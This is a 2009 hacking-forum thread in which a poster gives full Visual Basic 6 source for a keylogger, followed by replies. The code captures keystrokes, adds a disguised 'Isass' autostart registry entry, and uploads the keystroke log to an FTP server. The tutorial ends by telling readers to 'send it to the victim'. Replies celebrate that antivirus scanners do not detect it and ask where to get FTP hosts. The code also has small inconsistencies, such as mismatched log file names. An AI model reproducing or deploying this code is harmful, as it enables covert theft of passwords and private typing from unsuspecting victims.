Hack Forums
[.NET] Creating keyloggers in VB6 (Tutorial by me):) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Creating keyloggers in VB6 (Tutorial by me):) (/showthread.php?tid=61422)

Pages: Pages 1 2 3


Creating keyloggers in VB6 (Tutorial by me):) - Gianni95 - Mar 28, 2009

Hello, this tutorial will teach you how to create a keylogger :) .
Well, start :) .
1)Open Visual Basic 6
2)Choose a new project of type Standard EXE
3)Create 6 timer and a textbox , property in the timer1 interval put "0", while in the other 5 interval timer will come "60000"
4)Given the name "text" without quotes to textbox
5)Make Project> Components> Check Microsoft Internet Transfer Controls, and then click Apply and then OK
6)Click twice on the form, you will open the window with all codes, delete everything that's' written and pasted the following code:
Code
Private Sub Form_Load()
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\namekeylogger.exe"
Dim Ritardo As Long
Dim testo As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Ritardo, 0
Timer1.Interval = Ritardo + 150
End Sub

Private Sub testo_Change()
Open "C:\WINDOWS\system32\keylogger.txt" For Output As #1
Print #1, "Remote FTP KeyLogger by Gianni95 :) - Text Digited: " & testo.Text & ", "
Close #1
End Sub

Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
testo = testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
testo = testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
testo = testo + "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
testo = testo + "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
testo = testo + "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
testo = testo + "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
testo = testo + "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
testo = testo + "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
testo = testo + "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
testo = testo + "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
testo = testo + "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
testo = testo + "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
testo = testo + "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
testo = testo + "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
testo = testo + "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
testo = testo + "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
testo = testo + "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
testo = testo + "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
testo = testo + "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
testo = testo + "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
testo = testo + "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
testo = testo + "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
testo = testo + "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
testo = testo + "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
testo = testo + "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
testo = testo + "z"
ElseIf GetAsyncKeyState(vbKey0) Then
testo = testo + "0"
ElseIf GetAsyncKeyState(vbKey1) Then
testo = testo + "1"
ElseIf GetAsyncKeyState(vbKey2) Then
testo = testo + "2"
ElseIf GetAsyncKeyState(vbKey3) Then
testo = testo + "3"
ElseIf GetAsyncKeyState(vbKey4) Then
testo = testo + "4"
ElseIf GetAsyncKeyState(vbKey5) Then
testo = testo + "5"
ElseIf GetAsyncKeyState(vbKey6) Then
testo = testo + "6"
ElseIf GetAsyncKeyState(vbKey7) Then
testo = testo + "7"
ElseIf GetAsyncKeyState(vbKey8) Then
testo = testo + "8"
ElseIf GetAsyncKeyState(vbKey9) Then
testo = testo + "9"
ElseIf GetAsyncKeyState(vbKeyEscape) Then
testo = testo + "<Esc>"
ElseIf GetAsyncKeyState(vbKeySpace) Then
testo = testo + "<Space>"
ElseIf GetAsyncKeyState(vbKeyBack) Then
testo = testo + "<BackSpace>"
ElseIf GetAsyncKeyState(vbKeyDelete) Then
testo = testo + "<Canc>"
ElseIf GetAsyncKeyState(vbKeyDown) Then
testo = testo + "<Arrow down>"
ElseIf GetAsyncKeyState(vbKeyShift) Then
testo = testo + "<Shift>"
ElseIf GetAsyncKeyState(vbKeyTab) Then
testo = testo + "<Tab>"
ElseIf GetAsyncKeyState(vbKeyUp) Then
testo = testo + "<Arrow Up>"
ElseIf GetAsyncKeyState(vbKeyRight) Then
testo = testo + "<Right Arrow>"
ElseIf GetAsyncKeyState(vbKeyLeft) Then
testo = testo + "<Left Arrow>"
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
testo = testo + "<Page Up>"
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
testo = testo + "<Page Down>"
ElseIf GetAsyncKeyState(vbKeyF1) Then
testo = testo + "<F1>"
ElseIf GetAsyncKeyState(vbKeyF2) Then
testo = testo + "<F2>"
ElseIf GetAsyncKeyState(vbKeyF3) Then
testo = testo + "<F3>"
ElseIf GetAsyncKeyState(vbKeyF4) Then
testo = testo + "<F4>"
ElseIf GetAsyncKeyState(vbKeyF5) Then
testo = testo + "<F5>"
ElseIf GetAsyncKeyState(vbKeyF6) Then
testo = testo + "<F6>"
ElseIf GetAsyncKeyState(vbKeyF7) Then
testo = testo + "<F7>"
ElseIf GetAsyncKeyState(vbKeyF8) Then
testo = testo + "<F8>"
ElseIf GetAsyncKeyState(vbKeyF9) Then
testo = testo + "<F9>"
ElseIf GetAsyncKeyState(vbKeyF10) Then
testo = testo + "<F10>"
ElseIf GetAsyncKeyState(vbKeyF11) Then
testo = testo + "<F11>"
ElseIf GetAsyncKeyState(vbKeyF12) Then
testo = testo + "<F12>"
ElseIf GetAsyncKeyState(vbKeF13) Then
testo = testo + "<F13>"
ElseIf GetAsyncKeyState(vbKeyEnd) Then
testo = testo + "<FINISH>"
End If
End Sub

Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

Private Sub Timer6_Timer()
Dim nomefile As String
    Dim ftpwebsite As String
        account = "yournameaccount"
        pswd = "your password"
        ftpwebsite = "ftp://mywebsite.com"
    Inet1.URL = ftpwebsite
    Inet1.UserName = account
    Inet1.Password = pswd
    nomefile = "log.txt"
        Inet1.Execute Inet1.URL, "PUT C:\WINDOWS\system32\keylog.txt " & nomefile
    Do While Inet1.StillExecuting = True
          DoEvents
        Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
The following fields changed as you like:
Code
Set reg = CreateObject("Wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Isass", App.Path & "\namekeylogger.exe"
----------------------------------------------------------------------
Code
"C:\WINDOWS\system32\keylog.txt"
----------------------------------------------------------------------
Code
account = "nameaccount"
        pswd = "password"
        ftpwebsite = "ftp://mywebsite.com"
----------------------------------------------------------------------
Code
nomefile = "log.txt"
----------------------------------------------------------------------
Create a new module (Project> Add Module) and paste the following code:
Code
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10
----------------------------------------------------------------------
Compile the executable and send it to the victim:).
PS: The keylogger will start when windows:).
----------------------------------------------------------------------
The guide is over. I hope it was useful:).
----------------------------------------------------------------------


- wil340 - Mar 28, 2009

That a very basic keylogger but its will help if you are starting vb and want to learn how to make one.


- MiNd-FuCk - Mar 28, 2009

aparantly its FUD, i put the code in a text file and scanned it;


File Info

Report generated: 28.3.2009 at 15.40.38 (GMT 1)
Filename: TextFile
File size: 4 KB
MD5 Hash: 3DD7C96DECE52D5AA05873132CFD8E8E
SHA1 Hash: BEF3B61C5C944AA660DE384FCC6695D2C0BD81B7
Packer detected: Not a valid PE file
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 24

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
NoVirusThanks.org



- ExpiredNumber - Mar 28, 2009

Yeah I'm trying to learn VB :\


- SimplyIgnored - Mar 30, 2009

Where do i put my email in


- ExpiredNumber - Mar 30, 2009

So it's FUD?
I've never tried it yet..


- KING-T - Mar 30, 2009

At least explain what some of the code does dude. Noobs will never learn just copying/pasting a source code.


- phobos - Mar 30, 2009

Thank you very much for this tut, but I'd love to see a little more explanations at the sidelines...
On which OS do programs compiled with vb6 work? It runs on vista but not on every version, older windows versions don't seem to be compatible.

phob


- Gianni95 - Mar 30, 2009

Ok, next time I will be more clear ;) .


- cyber kamikaz - Mar 31, 2009

how to compile ???

i run it into my self how stop this shit


- oajhao - Apr 1, 2009

I dont find any Microsoft Interne Transfer thingy..... Help!

heres a pic of my project menu, [IMG]http://img24.imageshack.us/img24/1765/vb6projectmenu.png[/IMG]


- the gost - Apr 1, 2009

nice keylogger it's undetectable


- ExistenceLight - Apr 1, 2009

Hey,

Im kind of new here but im pretty trustworthy,

you'll just need to get to know me :)

Thanks, this is very useful,

is there a later version of VB if so PM me

ExistenceLight


- oajhao - Apr 14, 2009

Where do I find a ftp host?


- WeZZi - Apr 26, 2009

I need a ftp host. Where can I get one